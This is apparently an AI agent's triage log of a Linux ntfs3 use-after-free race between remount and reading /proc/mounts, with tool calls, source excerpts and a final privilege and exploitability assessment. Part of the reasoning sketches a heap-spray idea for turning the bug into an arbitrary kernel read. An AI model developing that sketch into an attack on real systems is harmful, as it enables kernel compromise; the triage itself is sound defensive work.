fs/ntfs3/super.c=1245=static int ntfs_fill_super(struct super_block *sb, struct fs_context *fc)
--
fs/ntfs3/super.c-1741- if (options) {
fs/ntfs3/super.c:1742: put_mount_options(sbi->options);
fs/ntfs3/super.c-1743- sbi->options = NULL;
--
fs/ntfs3/super.c=1828=static void ntfs_fs_free(struct fs_context *fc)
--
fs/ntfs3/super.c-1838- if (opts)
fs/ntfs3/super.c:1839: put_mount_options(opts);
fs/ntfs3/super.c-1840-}
--
fs/ntfs3/super.c=1911=static void ntfs3_kill_sb(struct super_block *sb)
--
fs/ntfs3/super.c-1917- if (sbi->options)
fs/ntfs3/super.c:1918: put_mount_options(sbi->options);
fs/ntfs3/super.c-1919- ntfs3_free_sbi(sbi);
]
|
| 28/2 |
2026/08/09 04:31 |
llm |
expert |
0m
Model:
Tokens:
input: 30672
output: 37
thoughts: 27
Thoughts: Here's my analysis of the provided text, rendered in the first person, assuming I'm an expert in the relevant field:
**Diving into NTFS3 Mount Options**
Okay, so the task at hand involves understanding how `put_mount_options` handles things, and specifically where it's defined within the NTFS3 filesystem driver. Let's start by navigating to `fs/ntfs3/super.c:245`. That gives us the exact location, so now I can get a clear view of the code in context. I'll need to analyze this to understand exactly how the mount options are parsed, validated, and applied when an NTFS3 filesystem is mounted. My focus will be on potential edge cases, unexpected behavior, and whether there are any vulnerabilities present. From there, I'll be able to tell what could be the likely issue, or at least have a much better understanding.
|
| 29/2 |
2026/08/09 04:31 |
tool |
read-file |
0m
Args: map[File:fs/ntfs3/super.c FirstLine:245 LineCount:10]
Results: map[Contents: 245: static inline void put_mount_options(struct ntfs_mount_options *options)
246: {
247: kfree(options->nls_name);
248: unload_nls(options->nls);
249: kfree(options);
250: }
251:
252: enum Opt {
253: Opt_uid,
254: Opt_gid,
]
|
| 30/2 |
2026/08/09 04:31 |
llm |
expert |
0m
Model:
Tokens:
input: 30151
output: 20
thoughts: 2537
Thoughts: **Analysis of the NTFS3 Use-After-Free Vulnerability**
Okay, so I've been digging into this NTFS3 bug, and it looks like a classic use-after-free situation in `ntfs_show_options`. The core of the problem stems from how mount options are handled during remount operations. The `ntfs_fs_reconfigure` function swaps out the existing mount options (`sbi->options`) with new ones (`fc->fs_private`). Critically, it then frees the OLD options with `put_mount_options`. `ntfs_show_options`, which is used to populate `/proc/mounts`, reads `sbi->options`. If a remount happens concurrently with reading `/proc/mounts`, there's a race where `ntfs_show_options` can read the *just-freed* `sbi->options`.
The key here is that `ntfs_show_options` doesn't take any locks to protect access to `sbi->options`. This opens a window for a use-after-free.
Now, let's think about exploitation. The `ntfs_mount_options` structure is `kmalloc-32`, which means it's a relatively small allocation. This makes it sprayable. `ntfs_show_options` reads several members of this structure, like user/group IDs, masks, and most importantly, `opts->nls->charset`. If we can control what's in that freed memory, we can control what gets printed.
The interesting part is `opts->nls->charset`. `opts->nls` is a pointer to a `nls_table` structure. If we can spray the `kmalloc-32` slab with a pointer to *any* kernel memory address, then `opts->nls->charset` will read the *string* at that memory location! This is an arbitrary read, which could lead to a very powerful information leak.
The reproducer uses `memfd_create`, `loop-control`, and `mount`. This requires `CAP_SYS_ADMIN`, which effectively eliminates unprivileged user exploitation directly. The remount operation, which triggers `ntfs_fs_reconfigure`, requires `CAP_SYS_ADMIN`. So, an unprivileged user cannot remount and race with `ntfs_show_options`. An unprivileged user could theoretically read `/proc/mounts`, but they can't cause the remount.
I've also checked whether ntfs3 can be mounted in a user namespace, and it's a no-go, because it doesn't have the `FS_USERNS_MOUNT` flag. So an attacker requires root-level permissions to remount the filesystem and trigger the UAF.
Therefore, the exploit relies on a race condition between a privileged remount and an unprivileged read of `/proc/mounts` or a similar interface.
Considering the exploitability, it looks like this is definitely an information leak: a use-after-free of a `kmalloc-32` object that allows control of an arbitrary kernel read via `opts->nls->charset`, which can be exploited by an attacker with `CAP_SYS_ADMIN` during a remount.
I've determined that "Malicious Filesystem Trigger" is `False`, as this isn't triggered by a malicious image, but by a race condition.
|
| 31/2 |
2026/08/09 04:32 |
tool |
grepper |
0m
Args: map[Expression:struct nls_table \{]
Results: map[Output:include/linux/nls.h=23=typedef u32 unicode_t;
include/linux/nls.h-24-
include/linux/nls.h:25:struct nls_table {
include/linux/nls.h-26- const char *charset;
]
|
| 32/2 |
2026/08/09 04:32 |
llm |
expert |
0m
Model:
Tokens:
input: 34441
output: 21
thoughts: 608
Thoughts: **My Analysis of the NTFS3 Vulnerability**
Okay, let's break this down step-by-step. First, `charset` is located at offset 0, that's crucial. I see that `opts->nls` is pointing to a potentially malicious `nls_table`. The attacker manipulates this, setting `opts->nls` to a `target_address`. From here, `opts->nls->charset` is reading a pointer from `target_address`. Now it becomes clearer; `opts->nls->charset` isn't just data, it's a pointer to a string. This explains the `seq_printf(m, ",iocharset=%s", opts->nls->charset);` call, it's reading a *string* at that pointer.
If I set `opts->nls` to `target_address`, then `opts->nls->charset` becomes `*(char **)target_address`. It's a double dereference! That means, if the attacker wants to read memory at address `X`, they don't directly have control of X and will need to find a pointer to X. However, if they can control what `opts->nls->charset` is, they can point it to the memory at X.
If they can control the sprayed data, they control `opts->nls`. That's the key. They can set `opts->nls` to point to memory they *also* control, perhaps another sprayed object or user-space memory, if SMAP is disabled (though usually, it is not). So they can control the sprayed data and also be able to set `opts->nls` and set `charset` to `X`. The `seq_printf` will then print the string at `X`. So, it's an arbitrary read primitive, a powerful attack! This is definitely exploitable.
Now, let's look at Denial of Service. It's a Use-After-Free scenario. If the memory pointed to is unmapped or contains invalid pointers, `ntfs_show_options` will crash the kernel; likely, a page fault in kernel mode. Therefore, Denial of Service is possible.
Next, I need to evaluate if this is Accessible From Unprivileged Processes. This is where things get interesting. As far as I can see, `mount` and `remount` require `CAP_SYS_ADMIN` privileges. `ntfs3` doesn't have `FS_USERNS_MOUNT`, so it can't be mounted or remounted within a user namespace. Thus, an unprivileged user cannot trigger this. Wait a minute; is there another way to call `ntfs_fs_reconfigure`? No, it looks like it's called through the `.reconfigure` callback of `fs_context_operations`. It's triggered by `reconfigure_super` or `parse_monolithic_mount_data` during remounts. So, Unprivileged = False, UserNamespace = False. I should probably double-check if `ntfs3` has `FS_USERNS_MOUNT` just to be sure.
|
| 33/2 |
2026/08/09 04:32 |
tool |
grepper |
0m
Args: map[Expression:FS_USERNS_MOUNT]
Results: map[Output:drivers/android/binder/rust_binderfs.c=753=static struct file_system_type binder_fs_type = {
--
drivers/android/binder/rust_binderfs.c-757- .kill_sb = binderfs_kill_super,
drivers/android/binder/rust_binderfs.c:758: .fs_flags = FS_USERNS_MOUNT,
drivers/android/binder/rust_binderfs.c-759-};
--
drivers/android/binderfs.c=749=static struct file_system_type binder_fs_type = {
--
drivers/android/binderfs.c-753- .kill_sb = binderfs_kill_super,
drivers/android/binderfs.c:754: .fs_flags = FS_USERNS_MOUNT,
drivers/android/binderfs.c-755-};
--
fs/binfmt_misc.c=1034=static struct file_system_type bm_fs_type = {
--
fs/binfmt_misc.c-1037- .init_fs_context = bm_init_fs_context,
fs/binfmt_misc.c:1038: .fs_flags = FS_USERNS_MOUNT,
fs/binfmt_misc.c-1039- .kill_sb = bm_kill_sb,
--
fs/devpts/inode.c=453=static struct file_system_type devpts_fs_type = {
--
fs/devpts/inode.c-457- .kill_sb = devpts_kill_sb,
fs/devpts/inode.c:458: .fs_flags = FS_USERNS_MOUNT,
fs/devpts/inode.c-459-};
--
fs/fuse/inode.c=2001=static struct file_system_type fuse_fs_type = {
--
fs/fuse/inode.c-2003- .name = "fuse",
fs/fuse/inode.c:2004: .fs_flags = FS_HAS_SUBTYPE | FS_USERNS_MOUNT | FS_ALLOW_IDMAP,
fs/fuse/inode.c-2005- .init_fs_context = fuse_init_fs_context,
--
fs/namespace.c=1076=static void mnt_add_to_ns(struct mnt_namespace *ns, struct mount *mnt)
--
fs/namespace.c-1101-
fs/namespace.c:1102: if ((mnt->mnt.mnt_sb->s_type->fs_flags & FS_USERNS_MOUNT_RESTRICTED) &&
fs/namespace.c-1103- mnt->mnt.mnt_root == mnt->mnt.mnt_sb->s_root)
--
fs/namespace.c=6415=static bool mount_too_revealing(const struct super_block *sb, int *new_mnt_flags)
--
fs/namespace.c-6424- /* Can this filesystem be too revealing? */
fs/namespace.c:6425: if (!(sb->s_type->fs_flags & FS_USERNS_MOUNT_RESTRICTED))
fs/namespace.c-6426- return false;
--
fs/overlayfs/params.c=782=static const struct fs_context_operations ovl_context_ops = {
--
fs/overlayfs/params.c-791- * This is called during fsopen() and will record the user namespace of
fs/overlayfs/params.c:792: * the caller in fc->user_ns since we've raised FS_USERNS_MOUNT. We'll
fs/overlayfs/params.c-793- * need it when we actually create the superblock to verify that the
--
fs/overlayfs/super.c=1571=struct file_system_type ovl_fs_type = {
--
fs/overlayfs/super.c-1575- .parameters = ovl_parameter_spec,
fs/overlayfs/super.c:1576: .fs_flags = FS_USERNS_MOUNT,
fs/overlayfs/super.c-1577- .kill_sb = kill_anon_super,
--
fs/proc/root.c=369=static struct file_system_type proc_fs_type = {
--
fs/proc/root.c-373- .kill_sb = proc_kill_sb,
fs/proc/root.c:374: .fs_flags = FS_USERNS_MOUNT | FS_USERNS_MOUNT_RESTRICTED | FS_DISALLOW_NOTIFY_PERM,
fs/proc/root.c-375-};
--
fs/ramfs/inode.c=317=static struct file_system_type ramfs_fs_type = {
--
fs/ramfs/inode.c-321- .kill_sb = ramfs_kill_sb,
fs/ramfs/inode.c:322: .fs_flags = FS_USERNS_MOUNT,
fs/ramfs/inode.c-323-};
--
fs/super.c=695=bool mount_capable(struct fs_context *fc)
fs/super.c-696-{
fs/super.c:697: if (!(fc->fs_type->fs_flags & FS_USERNS_MOUNT))
fs/super.c-698- return capable(CAP_SYS_ADMIN);
--
fs/super.c=735=struct super_block *sget_fc(struct fs_context *fc,
--
fs/super.c-744- /*
fs/super.c:745: * Never allow s_user_ns != &init_user_ns when FS_USERNS_MOUNT or
fs/super.c-746- * FS_USERNS_DELEGATABLE is not set, as the filesystem is likely
--
fs/super.c-750- if (user_ns != &init_user_ns &&
fs/super.c:751: !(fc->fs_type->fs_flags & (FS_USERNS_MOUNT | FS_USERNS_DELEGATABLE))) {
fs/super.c-752- errorfc(fc, "VFS: Mounting from non-initial user namespace is not allowed");
--
fs/sysfs/mount.c=78=static struct file_system_type sysfs_fs_type = {
--
fs/sysfs/mount.c-81- .kill_sb = sysfs_kill_sb,
fs/sysfs/mount.c:82: .fs_flags = FS_USERNS_MOUNT | FS_USERNS_MOUNT_RESTRICTED,
fs/sysfs/mount.c-83-};
--
include/linux/fs.h=2280=struct file_system_type {
--
include/linux/fs.h-2285-#define FS_HAS_SUBTYPE 4
include/linux/fs.h:2286:#define FS_USERNS_MOUNT 8 /* Can be mounted by userns root */
include/linux/fs.h-2287-#define FS_DISALLOW_NOTIFY_PERM 16 /* Disable fanotify permission events */
--
include/linux/fs.h-2291-#define FS_POWER_FREEZE 256 /* Always freeze on suspend/hibernate */
include/linux/fs.h:2292:#define FS_USERNS_MOUNT_RESTRICTED 512 /* Restrict mount in userns if not already visible */
include/linux/fs.h-2293-#define FS_USERNS_DELEGATABLE 1024 /* Can be mounted inside userns from outside */
--
ipc/mqueue.c=1613=static struct file_system_type mqueue_fs_type = {
--
ipc/mqueue.c-1616- .kill_sb = kill_anon_super,
ipc/mqueue.c:1617: .fs_flags = FS_USERNS_MOUNT,
ipc/mqueue.c-1618-};
--
kernel/acct.c=216=static int acct_on(const char __user *name)
--
kernel/acct.c-251- /* Exclude procfs and sysfs. */
kernel/acct.c:252: if (file_inode(file)->i_sb->s_type->fs_flags & FS_USERNS_MOUNT_RESTRICTED)
kernel/acct.c-253- return -EINVAL;
--
kernel/bpf/inode.c=1277=static struct file_system_type bpf_fs_type = {
--
kernel/bpf/inode.c-1282- .kill_sb = bpf_kill_super,
kernel/bpf/inode.c:1283: .fs_flags = FS_USERNS_MOUNT,
kernel/bpf/inode.c-1284-};
--
kernel/cgroup/cgroup.c=2388=struct file_system_type cgroup_fs_type = {
--
kernel/cgroup/cgroup.c-2392- .kill_sb = cgroup_kill_sb,
kernel/cgroup/cgroup.c:2393: .fs_flags = FS_USERNS_MOUNT,
kernel/cgroup/cgroup.c-2394-};
--
kernel/cgroup/cgroup.c=2396=static struct file_system_type cgroup2_fs_type = {
--
kernel/cgroup/cgroup.c-2400- .kill_sb = cgroup_kill_sb,
kernel/cgroup/cgroup.c:2401: .fs_flags = FS_USERNS_MOUNT,
kernel/cgroup/cgroup.c-2402-};
--
kernel/cgroup/cgroup.c=2469=static struct file_system_type cpuset_fs_type = {
--
kernel/cgroup/cgroup.c-2472- .parameters = cpuset_fs_parameters,
kernel/cgroup/cgroup.c:2473: .fs_flags = FS_USERNS_MOUNT,
kernel/cgroup/cgroup.c-2474-};
--
mm/shmem.c=5280=static struct file_system_type shmem_fs_type = {
--
mm/shmem.c-5287- .kill_sb = kill_anon_super,
mm/shmem.c:5288: .fs_flags = FS_USERNS_MOUNT | FS_ALLOW_IDMAP | FS_MGTIME,
mm/shmem.c-5289-};
--
mm/shmem.c=5712=static struct file_system_type shmem_fs_type = {
--
mm/shmem.c-5716- .kill_sb = ramfs_kill_sb,
mm/shmem.c:5717: .fs_flags = FS_USERNS_MOUNT,
mm/shmem.c-5718-};
]
|
| 34/2 |
2026/08/09 04:32 |
llm |
expert |
0m
Model:
Tokens:
input: 38579
output: 66
thoughts: 5172
Thoughts: **Vulnerability Assessment: NTFS3 Filesystem Remount UAF**
Okay, so I've been digging into this `ntfs3` filesystem issue, and here's the breakdown of what I've found. This is a classic Use-After-Free (UAF) bug triggered during a remount operation. Let's get into the details of the thought process and the implications:
First, `ntfs3` doesn't support user namespaces for mounting (`FS_USERNS_MOUNT` is absent), so exploiting this within a user namespace is out. Also, the `remount` functionality requires elevated privileges (specifically, `CAP_SYS_ADMIN` in the initial namespace). This means an unprivileged user can't directly trigger the race. They can only hit this bug if root happens to be remounting the filesystem at the same time and the user process is reading `/proc/mounts`. This makes reliable exploitation difficult for an unprivileged process.
The UAF occurs because of a race condition between `ntfs_fs_reconfigure` (during a remount) and `ntfs_show_options` (when reading `/proc/mounts`). During the remount process, `ntfs_fs_reconfigure` swaps the mount options (`sbi->options` with `fc->fs_private`). Then, the old mount options are freed (`put_mount_options`). If, at the same time, a process is reading `/proc/mounts` it calls `ntfs_show_options`, which *still* has a pointer to the *freed* mount options. Thus, a race condition allows `ntfs_show_options` to access this memory, causing a UAF.
`ntfs_show_options` uses `seq_printf` to print the mount options. In particular, it includes the iocharset string using `opts->nls->charset`. An attacker can manipulate `opts->nls` (the freed options) and thus has the ability to cause an arbitrary read using this primitive. Specifically, the attacker can replace `opts->nls` with a controlled address, thus controlling `opts->nls->charset`. If the attacker can control the contents of that region of memory, this gives an attacker an arbitrary read primitive.
I've explored all the potential attack vectors. The `fsconfig` syscall and `mount_setattr` can't trigger this. A malicious filesystem image can't directly cause this either, it's about the remount process itself. No peripheral, remote, or network-based trigger either.
The system requires specific configuration (setuid-root binary) to remount to allow for unprivileged users. That's outside a general security assessment.
So, here's the final assessment:
* **Exploitable: True.** The UAF allows an attacker to control the `opts->nls` pointer. By setting this to a controlled address, an attacker can control `opts->nls->charset`. This gives an attacker an arbitrary read primitive (information leak), which can be exploited. This is the heart of the bug.
* **Denial of Service: True.** The UAF can lead to a kernel crash due to an invalid memory access (e.g., page fault).
* **Accessible From Unprivileged Processes: False.** Triggering the bug requires remounting, which requires elevated privileges.
* **Accessible From User Namespaces: False.** `ntfs3` doesn't support mounting or remounting within a user namespace.
* **VM Guest Trigger: False.**
* **VM Host Trigger in the Confidential Computing Context: False.**
* **Ethernet Network Trigger: False.**
* **Other Remote Trigger: False.**
* **Peripheral Trigger: False.**
* **Malicious Filesystem Trigger: False.** The bug isn't in parsing a filesystem but in the remount process.
In short: This is a nasty, exploitable, but privilege-requiring race condition that can lead to information leaks and DoS.
|
| 35/2 |
2026/08/09 04:33 |
tool |
set-results |
0m
Args: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
Results: map[DenialOfService:true Exploitable:true FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:false VMGuestTrigger:false VMHostTrigger:false]
|
| 36/2 |
2026/08/09 04:33 |
llm |
expert |
0m
Model:
Tokens:
input: 35510
output: 498
thoughts: 1195
Thoughts: **Bug Analysis: KASAN slab-use-after-free in ntfs_show_options**
Okay, so I've got a KASAN slab-use-after-free bug here in `ntfs_show_options`, triggered when reading `/proc/mounts` while remounting an `ntfs3` filesystem. The use-after-free (UAF) is on `opts`, which is `sbi->options`. It looks like the issue stems from how the mount options are handled during a remount (`ntfs_fs_reconfigure`). During a remount, `fc->fs_private` (the new options) gets swapped with `sbi->options`. Then, `ntfs_fs_free` frees `fc->fs_private` (the *old* `sbi->options`). The race is if `ntfs_show_options` is running concurrently, because it accesses `sbi->options` without any locking. Yep, confirmed, `ntfs_show_options` just dereferences `sbi->options` like a sitting duck. `ntfs_fs_reconfigure` calls `swap` to change the values, and then the old one is freed. This is a classic UAF scenario.
Is it exploitable? Absolutely. This is a UAF on a kmalloc-32 object, which means it is possible.
Can unprivileged users trigger this? No. Mounting `ntfs3` requires `CAP_SYS_ADMIN` in the initial namespace because `ntfs3` doesn't have `FS_USERNS_MOUNT`. So no chance for unprivileged users or user namespaces.
Is it a malicious filesystem trigger? No. This bug is triggered by a remount *after* the initial mount, while reading `/proc/mounts`. It is not about parsing a malicious image. It doesn't need a specially crafted filesystem; just a regular remount. The prompt explicitly asked about parsing a *malicious* image, and that's not the case here.
Could auto-mounting desktop environments cause this? Possibly, if remounting is part of the auto-mount process. But it's not a bug *within* the filesystem parsing itself, but a race condition between remounting and `/proc/mounts` access.
Let me double-check. Yup, `ntfs3` doesn't have `FS_USERNS_MOUNT`.
So, here's my breakdown:
* **Exploitable:** Yes (UAF)
* **DenialOfService:** Yes
* **Unprivileged:** No
* **UserNamespace:** No
* **VMGuestTrigger:** No
* **VMHostTrigger:** No
* **NetworkTrigger:** No
* **RemoteTrigger:** No
* **PeripheralTrigger:** No (race condition with remount, not an inherent filesystem parsing flaw)
* **FilesystemTrigger:** No (not related to a malicious image)
Even if a peripheral is plugged in, and auto-mounted, remount has to occur concurrently with `/proc/mounts` being read, which can happen. Still, it's a race, not a flaw in the parsing.
Ultimately, this is a race condition that can be triggered by root. It's a low severity bug in terms of who can trigger it, but a UAF is a big deal.
Alright, final assessment:
* **Memory corruption?** Yes, it is possible.
* **Elevated privileges?** No, but it can lead to it.
* **Information leak?** Potentially, yes.
* **Exploitable?** Yes
* **Unprivileged?** No
* **User Namespace?** No
* **Filesystem Image Trigger?** No
|
| 37/1 |
2026/08/09 04:33 |
action |
format-explanation |
0m
Results: map[Explanation:An analysis of the bug report and the kernel source code reveals the following:
**Bug Mechanism:**
The bug is a Use-After-Free (UAF) in `ntfs_show_options()`. When an `ntfs3`
filesystem is remounted, `ntfs_fs_reconfigure()` allocates a new
`ntfs_mount_options` structure and swaps it with the old one (`sbi->options`).
The old options structure is then freed in `ntfs_fs_free()` via
`put_mount_options()`. However, `ntfs_show_options()` (which is called when
reading `/proc/mounts`) accesses `sbi->options` without any locking or RCU
protection. If a user reads `/proc/mounts` concurrently with a remount
operation, `ntfs_show_options()` can dereference the `options` pointer after it
has been freed, leading to a Use-After-Free on a `kmalloc-32` slab object.
**Exploitability:**
Yes. This is a classic Use-After-Free vulnerability on a `kmalloc-32` object. An
attacker who can trigger this race condition could potentially spray the heap to
reallocate the freed object with controlled data, leading to an information leak
or privilege escalation by hijacking control flow or corrupting sensitive data.
**Access & Privileges:**
The `ntfs3` filesystem does not have the `FS_USERNS_MOUNT` flag set in its
`file_system_type` definition (`FS_REQUIRES_DEV | FS_ALLOW_IDMAP`). Therefore,
mounting and remounting an `ntfs3` filesystem requires `CAP_SYS_ADMIN` in the
initial user namespace.
- It cannot be triggered by unprivileged users.
- It cannot be triggered from within an unprivileged user namespace.
**Other Triggers:**
- **Malicious Filesystem:** The bug is a race condition in the VFS/mount options
handling logic, not a vulnerability in parsing a malicious filesystem image.
- **Peripheral/Network/Remote:** The bug requires local root privileges to mount
and remount the filesystem, so it cannot be triggered remotely or simply by
plugging in a peripheral (unless the system has an auto-mounter script that
continuously remounts the drive while reading `/proc/mounts`, which is highly
unlikely).]
|